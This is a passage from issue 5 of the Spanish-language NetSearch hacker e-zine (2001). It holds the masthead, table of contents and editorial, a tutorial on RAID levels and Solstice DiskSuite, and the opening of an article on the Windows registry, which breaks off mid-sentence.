Copy Link
Add to Bookmark
Report

The NetSearch E-Zine 05

eZine's profile picture
Published in 
The Netsearch ezine
 · 4 years ago

       #######           ##  #######   [The NetSearch E-Zine #5]  ## 
######## ## ### ###
#### ## ###### ##### ####### ###### ###### ##### ###### #######
#### ## ### ## ## ###### ### ## ### ## #### ## ### ##
### ## ####### ## ### ####### ## ## ## ## ### ##
#### ## ## ## ### ## ## ## ## ### ### ##
#### ## ####### ###### ##### ###### ######## ## ####### ### ##




- Segunda Epoca -
+---------------------------------------------------+
| The NetSearch E-Zine - Numero V - Volumen I |
| 02/03/2001 |
+---------------------------------------------------+

- [ http://www.netsearch-ezine.com ] -



"Know what I hate most? Rhetorical questions."
-- Henry N. Camp



x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x

+----------------------------------------------------------------------------+
| |
| NOTA: Ninguno de los autores que han colaborado en este numero se hacen |
| responsables de los actos que algunas personas puedan cometer una |
| una vez hayan leido sus respectivos articulos. |
| |
+----------------------------------------------------------------------------+



+ INFORMACION ACERCA DE NETSEARCH


- WEB OFICIAL:

http://www.netsearch-ezine.com
http://netsearch.page.to -> (redireccionador)

- CANAL DE IRC:

#netsearch , en el IRC-Hispano

- MAILS OFICIALES:


===========================================================
== ==
== Editor -> editor@netsearch-ezine.com ==
== Webmaster -> webmaster@netsearch-ezine.com ==
== Staff -> staff@netsearch-ezine.com ==
== ==
===========================================================


- DISTRIBUIDORES OFICIALES:

http://www.vanhackez.com
http://www.zine-store.com.ar


- LLAVE PGP:

<++> llavesPGP/netsearch.asc $c47382c0f38094f037d2ec3326aee840
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.0.2 (GNU/Linux)
Comment: For info see http://www.gnupg.org

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
=PFmI
-----END PGP PUBLIC KEY BLOCK-----
<-->


- STAFF:


===========================================================
== ==
== DarK_FeaR -> dark_fear@netsearch-ezine.com ==
== Sp4rK -> sp4rk@netsearch-ezine.com ==
== |CoDeX| -> codex@netsearch-ezine.com ==
== RaiSe -> raise@netsearch-ezine.com ==
== cafo -> cafo@netsearch-ezine.com ==
== QuasaR -> quasar@netsearch-ezine.com ==
== PowR -> powr@netsearch-ezine.com ==
== Pope -> pope@netsearch-ezine.com ==
== MoebiuZ -> moebiuz@netsearch-ezine.com ==
== kekabron -> kekabron@netsearch-ezine.com ==
== Doing -> doing@netsearch-ezine.com ==
== MegadetH -> megadeth@netsearch-ezine.com ==
== HandeR -> hander@netsearch-ezine.com ==
== Chapulino -> chapulino@netsearch-ezine.com ==
== ==
===========================================================


- COLABORADORES EN ESTE NUMERO:

* RomLi - romli@eresmas.com
* Papa Pile - papapile@hotmail.com
* JohnnyG - johnny_g@usa.com


- SALUDOS:

* A los e-zines de habla hispana
* A los colaboradores de este numero
* A toda la peña de #netsearch ;)


- RECOMENDADO EL USO DEL EDIT DE MS-DOS O EL VIM DE LINUX



x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x


+ TOC


+---------------------------------------------------------+---------------+
| FILE | SIZE | TITULO | AUTOR |
|==========+========+=====================================+===============|
| 0x00.txt | 9K | Indice | NetSearch |
+----------+--------+-------------------------------------+---------------+
| 0x01.txt | 5K | Editorial | Editor |
+----------+--------+-------------------------------------+---------------+
| 0x02.txt | 19K | Sistemas RAID | HandeR |
+----------+--------+-------------------------------------+---------------+
| 0x03.txt | 15K | El Registro de Windows | Chapulino |
+----------+--------+-------------------------------------+---------------+
| 0x04.txt | 27K | Shellcodes en Linux/i386 (2) | RaiSe |
+----------+--------+-------------------------------------+---------------+
| 0x05.txt | 4K | NetSearch al habla | NetSearch |
+----------+--------+-------------------------------------+---------------+
| 0x06.txt | 8K | Reflexiones sobre los MIG | NEULK |
+----------+--------+-------------------------------------+---------------+
| 0x07.txt | 11K | Seguridad en IPv6 | MegadetH |
+----------+--------+-------------------------------------+---------------+
| 0x08.txt | 14K | Algoritmo Rijndael + IP Virtual | cafo |
+----------+--------+-------------------------------------+---------------+
| 0x09.txt | 8K | En contacto con Guybrush | NetSearch |
+----------+--------+-------------------------------------+---------------+
| 0x10.txt | 14K | Breves de NetSearch | Varios |
+----------+--------+-------------------------------------+---------------+
| 0x11.txt | 25K | LKM: el backdoor perfecto | Doing |
+----------+--------+-------------------------------------+---------------+
| 0x12.txt | 24K | Lenguaje C (1/2) | JohnnyG |
+----------+--------+-------------------------------------+---------------+
| 0x13.txt | 38K | Proyecto Echelon (2/2) | Pope |
+----------+--------+-------------------------------------+---------------+
| 0x14.txt | 51K | Programacion segura en C | Sp4rK |
| | | bajo Linux | |
+----------+--------+-------------------------------------+---------------+
| 0x15.txt | 1K | Despedida | Editor |
+----------+--------+-------------------------------------+---------------+



- [ [ NetSearch Ezine #5 ] ] -


==================================================================
== Para extraer los articulos del ezine en archivos separados ==
== ejecutar "./nextract -s ns005.txt" ==
==================================================================


- [ http://www.netsearch-ezine.com ] -





0x00

-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_


=-[ 0x01 ]-==================================================================
=-[ NetSearch Ezine #5 ]-====================================================
=-[ Editorial ]-=============================================================
=-[ por Editor ]-============================================================




Bueno, parece que estamos otra vez aqui :). Han pasado 3 meses y unos pocos
dias desde NS #4, y como veis hemos cumplido bastante bien nuestra promesa de
sacar el ezine cada 2/3 meses. Aunque que quereis que os diga?.. Lo hemos
estado pensando y hemos llegado a la conclusion de que para sacar un numero
en condiciones, el tiempo optimo seria de 4 meses. Ya se que puede parecer un
poco excesivo, pero asi se evitan las prisas y aceleraciones tipicas del
final. De esta forma conseguiriamos pulir unos cuantos detalles que, debido a
la urgencia de cumplir el plazo de los 3 meses, se nos escapan. Por lo tanto
lo mas seguro sera que a partir de ahora la cosa cambie, y en vez de 3 sera
de 4 meses aproximados el plazo de publicacion entre numero y numero.

Y bueno, hay varias cosas que os tengo q contar..

La primera es algo que, por desgracia, viene siendo habitual ultimamente en
nuestro pais. Y es que un colega nuestro ha sido detenido por la guardia
civil, otra vez mas, sin motivos.. Esta claro que la presuncion de inocencia
no se aplica a lo que delitos informaticos se refiere. Desde aqui queremos
mandarle un saludo y dedicarle este numero del ezine, ya que por culpa de
unos incompetentes (repito INCOMPETENTES) ha tenido que pasar por este mal
trago, sin tener el ninguna culpa. La verdad es que todo este asunto suena a
la tipica cabeza de turco, debe ser que se aburrian y van a por aquel que mas
'llama la atencion', y encima acusandole de algo que esta demostrado que es
falso, en fin.. Tienes todo nuestro apoyo [el sabe quien es ;)].

En fin..

Otra cosa que os tenia que contar es que se han producido nuevas
incorporaciones al staff. Para ser exactos se trata de HandeR, MegadetH y
Chapulino [bienvenidos ;)], haciendo un total de 14 los componentes del
mismo. Con esta cantidad consideramos que el numero necesario de personas
para que el NetSearch Ezine siga adelante esta cubierto, por lo tanto no
vamos aceptar nuevos miembros, al menos por el momento.. hombre, si hace una
donacion economica considerable se podria plantear al grupo a ver que opina
jeje ;).

Y poco mas que contar.. Para este numero no hemos podido mantener la seccion
'Bugs && Xploits', mas que nada por falta de tiempo. A decir verdad, cada vez
es mas dificil programar xploits, los programas vulnerables disminuyen dia a
dia. Es obvio que los programadores se han dado cuenta de esto y tienen mucho
mas cuidado a la hora escribir el codigo. De todas formas, intentaremos que
para NS #6 reaparezca este apartado.

Mas cosas..

La nueva seccion que se supone iba a aperecer en este numero, 'NetSearch
Mail/INBOX', se va a tener que retrasar tambien hasta NS #6, ya que hemos
recibido unos cuantos mails, pero no son suficientes.. Os recordamos que si
quereis preguntar algo podeis mandarnos un mail a: staff@netsearch-ezine.com,
y su respuesta sera comentada en dicha seccion por algun miembro del staff.

La seccion que si se estrena es la de 'Breves de NetSearch'. En dicha seccion
se incluiran articulos que, por su pequeño tamaño, no seran tratados como un
articulo 'completo'. Es decir, los textos de menos de 8k aproximadamente se
incluiran en ese apartado del ezine. Normalmente constara de 2 o 3 articulos.
Mas informacion en 0x10 de este mismo numero.

Y ya que estamos con estremos tambien hemos actualizado la pagina web :). El
diseño is by Sp4rK, yo creo que ha quedado muy guapa. Solo un pequeño
comentario, la pagina no se ve bien con Netscape 4.x, por lo que si alguien
todavia usa esa antiguedad, a que espera para bajarse la version 6.x de
http://www.netscape.com ? ;). Como curiosidad la pagina si es compatible con
el navegador en modo texto lynx. Comentarios sobre la web de todo tipo:
webmaster@netsearch-ezine.com.

Bueno, yo creo que ya me estoy enrollando demasiado. Solo me queda saludar y
dar la enhorabuena a todos los miembros del staff y colaboradores externos,
gracias a ellos ya tenemos otro numero mas del NetSearch Ezine, un saludo
a todos y nos vemos en NS #6. Hasta pronto ;).


El Editor



0x00

-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_


=-[ 0x02 ]-==================================================================
=-[ NetSearch Ezine #5 ]-====================================================
=-[ Sistemas RAID ]-=========================================================
=-[ por HandeR ]-============================================================




+-------------------------------------------------+
| (Redundant Array of independent Disks) |
| (Arrays redundantes de discos independientes) |
+-------------------------------------------------+




INDICE ----------------------------------------------------------

+ INTRODUCCION

+ NIVELES RAID
- RAID 0
- RAID 1
- RAID 0+1
- RAID 1+0
- RAID 3 y 5

+ SOFTWARE RAID
-Solstice Disksuite

+ DESPEDIDA



INTRODUCCION ----------------------------------------------------------

En un principio los primeros sistemas RAID fueron creados para para demostrar
como un sistema de este tipo era capaz de igualar o superar en rendimiento a
los enormes discos que se fabricaban antes, mientras que ahora utilizando
discos de pequeño tamaño, discos SCSI de unos 20Gb conseguimos varios Teras
de almacenamiento y con estupendas medidas de redundancia, mantenibilidad y
escalabilidad.

Todo esto conjugado con los modernos arrays que se fabrican nos dan unas
tasas de rendimiento y fiabilidad excelentes. La mayoria de los arrays que se
fabrican ahora nos brindan la posibilidad de disponer de casi todo su sistema
redundantes, desde las controladoras de sus discos, pasando por las fuentes
de alimentacion, hasta llegar a los interfaz de conexion con el sistema
(fibra , SCSI, ...).

Tanto los arrays de disco como el software de RAID optimizan las soluciones
para suplir las carencias de algunos de los RAID en cuanto a rendimiento,
incluyendo memorias cache, procesadores para gestionarlos, ...
Todo esto y la posibilidad de cambiar los discos en caliente hacen que si
en nuestro sistema se nos cae algun disco, simplemente cambiemos este en
caliente por otro de las mismas caracteristicas y el array en pocos minutos
este funcionando como si nada hubiera pasado.

Tampoco creais que hace falta gastarse un par millardos para tener un sistema
RAID, ultimamente estan saliendo muchas tarjetas que nos permiten el uso de
RAID en nuestro pequeño server de casa o ese server que le vamos a montar al
dueño de ese cyber que tiene un presupuesto moderado. Y si da la casualidad
que nos vamos a comprar un ekipo nuevo siempre podemos pensar en comprarnos
una placa que soporte RAID (no penseis que os va a hacer un super RAID 5
optimizado del carajo) por un precio que puede rondar las 30.000 pts. En mi
caso le he eshao ya el ojo a una Abit K7 Raid que me soporta RAID y discos de
ATA100 os copio las caracteristicas en cuanto a disco se refiere.

Ultra DMA 100

1. High Point HTP370 IDE Controller
2. Ultra DMA 100MB/Sec data transfer rate
3. RAID 0(stripping mode for boosting performance)
4. RAID 1 (mirroring mode for data security)
5. RAID 0 +1(stripping and mirroring)


Por ultimo comentaros que los sistemas RAID nunca deben ser sustitutos de los
tradicionales backup (en cinta, cd-rom, etc...) que de tantos apuros nos han
sacado :) , Cada cosa tiene su funcion.

Empezamos la faena.



NIVELES RAID ----------------------------------------------------------

Existen Diferentes tipos de niveles de RAID alguno de ellos ya no se
utilizan:

+ RAID 0
+ RAID 1
+ RAID 1+0
+ RAID 0+1
+ RAID 2
+ RAID 3
+ RAID 4
+ RAID 5

La mayoria de ello combinan dos tecnicas (striping, mirroring) para realizar
el RAID en los discos, pasemos a describirlos con mas profundidad:




+--------+
| RAID 0 |
+--------+

Utiliza la tecnica de striping o concatenacion que se basa en utilizar varios
discos como de uno solo virtual se tratase, existen dos tipos de RAID 0 segun
la tecnica que apliquemos pasamos a describir las diferentes tecnicas


RAID 0 Concatenacion


--- Bloque 1
| |
| 1 |
| |
--- Bloque 500
--------- Bloque 1
--- Bloque 501 | |
| | | Disco |
| 2 | | |
| | | |
--- Bloque 1000 | Virtual |
| |
--- Bloque 1001 --------- Bloque 1500
| |
| 3 |
| |
--- Bloque 1500


Como podemos apreciar en la ilustracion (cutre pero no veas er coñazo de jace
las putas rayitas RaiSe me vas a tene q pone un "altar" DIOS q paciencia :P)
partimos de 3 discos y los concatenamos de forma que el sistema lo vea como
uno solo.

Caracteristicas

- No hay Redundancia de datos.

- Espacio de direcciones contiguos.

Ventajas

- Mejora en rendimiento I/O aleatorias, el rendimiento en cuanto a
escritura es el mismo (este se hace de forma secuencial).

- Al no existir redundancia la capacidad de los discos se utiliza
entera.


Inconvenientes

- Si se pierde un disco perdemos los datos de todos los discos.

- Al no existir redundancia cualquier fallo puede ser fatal.



RAID 0 Striping

Este sistema se basa al igual que el de mirroring en coger 2 o mas discos y
hacer que el sistema lo vea como uno solo pero con la variacion de que los
discos se dividen en segmentos llamados Stripe, los cuales se situan a lo
largo de todos los discos, estos stripes se intecalan en los discos para
mejorar la I/O.

Podemos jugar con el tamaño de los stripes segun nuestras necesidades, el
tamaño por defecto suele ser 64 Kbytes (Al menos en Volumen Manager :))


Caracteristicas

- El espacio de direcciones esta segmentado.

- No Existe Redundancia de discos.

- Los stream se intercalan por los discos.

Ventajas

- Disponemos de toda la capacidad del Disco.

- El rendimiento I/O se mejora tanto en peticiones secuenciales como
aleatorias, gracias a la division en stripe.

Inconvenientes

- Si perdemos un disco lo perdemos todo :(.




+--------+
| RAID 1 |
+--------+

Se basa en la redundancia de datos para salvaguardar los mismos, el sistema
al igual que en los demas sistemas RAID lo trata como uno solo, teniendo asi
la informacion duplicada en ambos discos, algo necesario en sistemas de alta
fiabilidad y disponibilidad, ya que en caso de perdida de unos de los discos
el mirror se rompe y las aplicaiones continuan con el otro disco hasta que
restauremos el mirror.


-------
| P1 |
-------
| P2 | Disco 1 -------
------- | 1 |
| P3 | -------
------- | 2 | DISCO VIRTUAL
-------
------- | 3 |
| P1 | -------
-------
| P2 | Disco 2
-------
| P3 |
-------


Caracteristicas

- Redundancia total de los datos.

- Mejora la lectura.


Ventajas

- Copia redundante de los datos.

- Si configuramos los discos de manera que se utilicen ambos para la
lectura se aumenta el rendimiento en la escritura.


Inconvenientes

- Se desperdicia en espacio un disco entero.




+----------+
| RAID 0+1 |
+----------+

Bueno como supongo que os habreis dado cuenta que este RAID lo que busca es
obtener el rendimiento que nos ofrece el RAID 0 y la fiabilidad del RAID 1
combinando estos dos tipos del RAID.

Supongo que con el grafico lo entenderemos mejor sobre todos los mas torpes
en estas cosas (date por aludido Hardcode xDD)


--------
| s1 | -------
-------- | s1 |
| s3 | -------
-------- | s2 |
| s5 | -------
-------- | s3 |
STRIPING -------
-------- RAID 0 | s4 |
| s2 | -------
-------- | s5 | -------
| s4 | ------- | s1 |
-------- | s6 | -------
| s6 | ------- | s2 |
-------- -------
| s3 |
MIRRORING -------
RAID 1 | s4 |
-------
-------- | s5 |
| s1 | ------- -------
-------- | s1 | | s6 |
| s3 | ------- -------
-------- | s2 |
| s5 | -------
-------- | s3 |
STRIPING -------
-------- RAID 0 | s4 |
| s2 | -------
-------- | s5 |
| s4 | -------
-------- | s6 |
| s6 | -------
--------


Caracteristicas

- Redundacia de los datos.

- Mejora del rendimiento (gracias la RAID 0 y al striping).


Ventajas

- Alta Fiabilidad al estar los datos totalmente redundantes.

- Mejora del rendimiento.


Inconvenientes

- Alto coste de instalacion, pierdes la mitad del espacio de
almacenamiento para crear el mirroring.




+----------+
| RAID 1+0 |
+----------+

Igual que el RAID 0+1 conjuga las ventajas de ambos sistemas pero cambiando
el orden de los sistemas, con la ventaja que podemos tolerar una alta
tolerancia a fallos de disco (podemos incluso perder la mitad de los discos
sin que nuestras aplicaiones se dieran cuenta).



--------
| 1s1 |
--------
| 1s2 | -------
-------- | 1s1 |
| 1s3 | -------
-------- | 1s2 |
MIRRORING -------
-------- RAID 1 | 1s3 |
| 1s1 | -------
-------- -------
| 1s2 | | 1s1 |
-------- -------
| 1s3 | | 2s1 |
-------- -------
| 1s2 |
STRIPING -------
RAID 0 | 2s2 |
-------
-------- | 1s3 |
| 2s1 | -------
-------- | 2s3 |
| 2s2 | ------- -------
-------- | 2s1 |
| 2s3 | -------
-------- | 2s2 |
MIRRORING -------
-------- RAID 1 | 2s3 |
| 2s1 | -------
--------
| 2s2 |
--------
| 2s3 |
--------




Caracteristicas

- Los mismos que RAID 0+1.

- Soporta una tolerancia a fallos de discos mayor q RAID 0+1.


Ventajas

- Tiene las mismas ventajas que RAID 0+1

- Una alta tolerancia a fallos como podemos observar en la
Ilustracion pueden incluso fallar 2 de los 4 utilizados
para el RAID siempre que estos sean de diferente mirroring
(si son del mismo las cagao, ya puedes ir buscando rapido
el ultimo backup).

Inconvenientes

- Como cualquier sistema basado en RAID 1, penaliza en
50% la cantidad de disco que puede ser utilizado.




+----------+
| RAID 5 |
+----------+

Los sistemas RAID 5 junto con los RAID 1+0 son los mas utilizados en lugares
donde el funcionamiento de nuestras maquinas es critico, sistemas en donde el
porcentaje de servicio ronda el 99,999% (unas 3 horas down al año).

Este sistema al igual que el RAID 3 y 4 se basa en realizar un striping de
los discos pero con la caracteristica de guardar tambien uno de los discos en
el caso de RAID 3 o repartidos por todos los discos en RAID 5 una informacion
de control a la que se le denomina paridad, que no es mas que una funcion OR
exclusiva (Boolean Exclusive OR) XOR.

Esta informacion nos servira si uno de los discos cae, entonces el RAID
reconstruira la informacion que tenia ese disco basandose en la funcion de
paridad y en el resto de los discos.

En RAID 5 podemos perder cualquiera de los discos puesto que la paridad esta
distribuida por los discos.

Pasamos a ver un esquemita de una implementacion en RAID 5


-------------------------- -------
|s1 s4 s7 P | Disco 1 | s1 |
-------------------------- -------
| s2 |
-------------------------- -------
|s2 s5 P s10| Disco 2 | s3 |
-------------------------- -------
RAID 5 => | s4 |
-------------------------- -------
|s3 P s8 s11| Disco 3 | s5 |
-------------------------- -------
| s6 |
-------------------------- -------
|P s6 s9 s12| Disco 4 .
-------------------------- .
.



Caracteristicas

- Al Utilizar stripe mejoras las operaciones lectura.

- Tenemos alta disponibilidad pero no con tal alto coste como
con el mirroring.

- La paridad en RAID 3 y 4 estan en un disco en RAID 5 esta
distribuida a lo largo de los discos.



Ventajas

- Nos permite el fallo de unos de los discos sin perder
el 50% de la capacidad de nuestro storage de
almacenamiento.




Inconvenientes

- Dependiendo de el software o Hardware que utilizemos para
implementar el RAID deberemos ajustarnos a un numero de
discos para realizar el array.

- No es buena solucion para sistemas en donde las operaciones
de escrituras se realicen de forma intensiva.


En los sistemas en RAID 5 pueden realizarse incrementos en el rendimiento
estudiando las caracteristicas de nuestro sistemas (casi todos ellos basados
en la modificaciones del tamaño de los stripes).



SOFTWARE DE RAID ----------------------------------------------------------


Bueno para terminar os voy a comentar un poco el funcionamiento de un
software de RAID que nos permiten todas las configuraciones RAID que
queramos, la gran diferencia entre este y otros es su precio. Mientras uno
viene con la distribucion de Solaris otros como Volume Manager tendras que
desembolsar una bonita cantidad de dinero para poder utilizarlo (si es que no
se lo has podido sacar al comercial que te vendio el array :P).


+------------------+
|Soltice Disksuite |
+------------------+

Es una utilidad que viene con el sistema operativo Solaris (ojo no se instala
en la instalacion tipica y debes tener presente cuando vayas a instalar tu
Solaris que vas a utilizar este software). Soltice Disksuite es una utilidad
bastante potente tanto para gestionar un RAID en nuestro equipo como para un
arrays de disco (tarea algo mas complicada pero tb utilizado, para eso seria
mas recomendable el uso de SSVM Sun Storage Volume Manager u otro similar).

Disksuite usa discos virtuales para manipular los dispositivos fisicos, a
estos dispositivos los llama metadispositivos. Los metadispositivos estan
construidos de particiones y son totalmente transparentes para las
aplicaciones.

Este software utliza una base de datos para almacenar toda la informacion de
la configuracion de los discos, esta base de datos se llama MetaDB y debe
crearse en Disksuite, crearse y replicarse, porque es una informacion muy
muy importante, es mas deberia de replicarse en discos diferentes.

Dispone de las tipica interfaz X, que la lanzaremos desde la linea de
comandos con la orden:

metatool

Y a partir de ahi accederemos a todas las opciones del programa para crear
concatenaciones de disco (RAID 0), mirrorings (RAID 1), RAID 5 , ...

En este enlace podras ver la pantalla inicial de Soltice Disksuite. En el
snap fijaros en lo que teneis que fijaros: en el DiskSuite!!!! no os
distraigais con otras cosas xDDD (Chui te la dedico jejeje) warrozzzzzzzzz

http://netsearch.page.to/raid.gif

A parte de la tipica interfaz X disponemos como siempre de la tipica interfaz
de comandos, comandos que podemos reconocer facilmente porque todos (creo
O_o) empiezan por meta aqui os paso los comandos:

root@hander:# meta
metaclear metahs metaonline metareplace metastat metattach
metadb metainit metaparam metaroot metasync
metadetach metaoffline metarename metaset metatool

Con los cuales podreis manipular todo el sistema. La orden metastat nos
muestra el estado del sistema de discos:

root@hander:# metastat
d0: Mirror
Submirror 0: d1
State: Okay
Submirror 1: d2
State: Okay
Pass: 1
Read option: roundrobin (default)
Write option: parallel (default)
Size: 8392072 blocks

d1: Submirror of d0
State: Okay
Size: 8392072 blocks
Stripe 0:
Device Start Block Dbase State Hot Spare
c0t0d0s0 0 No Okay


d2: Submirror of d0
State: Okay
Size: 8392072 blocks
Stripe 0:
Device Start Block Dbase State Hot Spare
c0t1d0s0 0 No Okay


d3: Mirror
Submirror 0: d4
State: Okay
Submirror 1: d5
State: Okay
Pass: 1
Read option: roundrobin (default)
Write option: parallel (default)
Size: 22740112 blocks

d4: Submirror of d3
State: Okay
Size: 22740112 blocks
Stripe 0:
Device Start Block Dbase State Hot Spare
c0t0d0s3 0 No Okay


d5: Submirror of d3
State: Okay
Size: 22740112 blocks
Stripe 0:
Device Start Block Dbase State Hot Spare
c0t1d0s3 0 No Okay


d6: Mirror
Submirror 0: d7
State: Okay
Submirror 1: d8
State: Okay
Pass: 1
Read option: roundrobin (default)
Write option: parallel (default)
Size: 2101552 blocks

d7: Submirror of d6
State: Okay
Size: 2101552 blocks
Stripe 0:
Device Start Block Dbase State Hot Spare
c0t0d0s5 0 No Okay


d8: Submirror of d6
State: Okay
Size: 2101552 blocks
Stripe 0:
Device Start Block Dbase State Hot Spare
c0t1d0s5 0 No Okay



En esta salida del comando podemos ver como existen 3 mirrors que son d0, d3
y d6 con sus respectivas particiones, tamaños ...

De modo que el sistema lo veria de la siguente forma (suprimire la parte que
no nos interesa de la salida del comando para que no me riña er RaiSe por el
tema del los 80 caracteres :P )

root@hander:# mount
/ on /dev/md/dsk/d0 on Sat Dec 2 22:06:08 2000
/proc on /proc on Sat Dec 2 22:06:06 2000
/dev/fd on fd on Sat Dec 2 22:06:10 2000
/etc/mnttab on mnttab on Sat Dec 2 22:06:14 2000
/var on /dev/md/dsk/d3 3 on Sat Dec 2 22:06:15 2000
/var/run on swap on Sat Dec 2 22:06:15 2000
/tmp on swap on Sat Dec 2 22:06:17 2000
/export/home on /dev/md/dsk/d6 on Sat Dec 2 22:06:17 2000
/contri on /dev/md/news/dsk/d0 on Tue Dec 5 13:08:01 2000

Bueno creo que como introduccion a Solstice Disksuite ya vale,
el tema no trataba de este software en concreto por lo que si
quereis saber mas sobre el tema en las paginas de docs de sun
viene perfectamente documentado.



DESPEDIDA ----------------------------------------------------------

Bueno espero que este pequeño articulo os haya ayudado un poco a conocer lo
que es un RAID, para que sirve los motivos de su uso,...

Es posible que en este articulo haya algunos errores por desconocimiento o
por despiste, si es asi lo siento, lo solucionare con ese maravilloso
programa que te detecta todos todos los errores, ¿Como se llama? ummm a si er
corrector de moco$oft güor (que haria este mundo sin esos errores de
concordancia absurdos).

Nada mas, lo disho. Si necesitais algo mas de sistemas RAID y puedo ayudaros
ya sabeis donde me podeis encontrar iRC-Hispano ( #netsearch, #sevilla_libre,
#solaris, #castelldefels, ...) aunque ultimante entro menos de lo que me
gustaria, pero ya llegaran tempos de mas enganshe jeje.


Un saludo HandeR
hander@netsearch-ezine.com



0x00

-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_


=-[ 0x03 ]-==================================================================
=-[ NetSearch Ezine #5 ]-====================================================
=-[ El Registro de Windows ]-================================================
=-[ por Chapulino ]-=========================================================




Introduccion
^^^^^^^^^^^^

Este texto lo comence a escribir hace algun tiempo por lo que puede estar
algo obsoleto para los sistemas nuevos, es decir, esta creado a partir de mis
experiencias con Windows 98. En NT y 2000 variara en algunos aspectos.



La arquitectura del registro (claves)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

> HKEY_CLASSES_ROOT
Datos usados para operaciones OLE y de arrastrar y soltar, entre los que se
incluyen los nombres de todos los tipos de archivos registrados y sus
propiedades (iconos, ordenes de windows (print, open, etc), extensiones de
archivos, etc).
La mayoria de entradas de esta clave se pueden encontrar tambien en
HKEY_LOCAL_MACHINE\SOFTWARE\Classes.

> HKEY_USERS
Informacion de usuarios. HKEY_USERS\Default es el usuario por defecto y se
creara una entrada por cada usuario.
En esta clave hay una subclave llamada software que Microsoft utiliza para
almacenar configuraciones de telefonia que son dependientes del usuario.

> HKEY_CURRENT_USER
Aqui se guarda una copia temporal del usuario que inicia la sesion. Esta
